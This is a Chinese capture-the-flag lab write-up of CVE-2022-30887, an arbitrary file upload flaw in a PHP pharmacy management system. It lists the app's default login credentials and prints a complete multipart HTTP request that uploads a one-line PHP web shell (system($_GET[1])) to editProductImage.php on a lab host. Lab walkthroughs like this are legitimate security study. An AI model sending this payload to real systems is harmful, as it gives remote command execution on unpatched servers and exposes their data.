春秋云境：CVE-2022-30887

本文主要是介绍春秋云境：CVE-2022-30887，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

春秋云境：CVE-2022-30887

文章合集：春秋云境系列靶场记录（合集）

Pharmacy Management System文件上传漏洞：CVE-2022-30887

在这里插入图片描述

漏洞介绍

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。

解题步骤

题外话：
做此题过程中前期没有任何思路，通过CSDN获取到一个POC，经过测试可以利用，最后重新收集了一下信息，终于找到了官方的POC，同时也找到另一个大哥给出的思路，拿到了登录的账号信息，信息都在下面有展示：

访问URL
可以通过账号/密码登录：mayuri.infospace@gmail.com/mayurik，收集的信息在此处：https://www.yuque.com/jiryu/yz4rcd/tcug0q，同时感谢这位大哥的思路，文章地址：https://blog.csdn.net/weixin_44030810/article/details/127392107
登陆后就可以进行任意的文件上传，此处选择图中位置对文件进行上传并抓包，修改文件名和文件内容：
上传成功后查看图片地址并访问，此时要修改文件名为刚才上传修改后的文件名：
需要获取flag的话可以将刚才的phpinfo修改为其他shell命令

另一种做法是参考官方POC，官方POC信息在此处：

https://nvd.nist.gov/vuln/detail/CVE-2022-30887#match-7988813
https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html

构造数据包：

POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: eci-2ze7ntvll5ye8fxnoc64.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 479
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="test.php"
Content-Type: image/jpeg<?phpsystem($_GET[1]);
?>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"-----------------------------208935235035266125502673738631--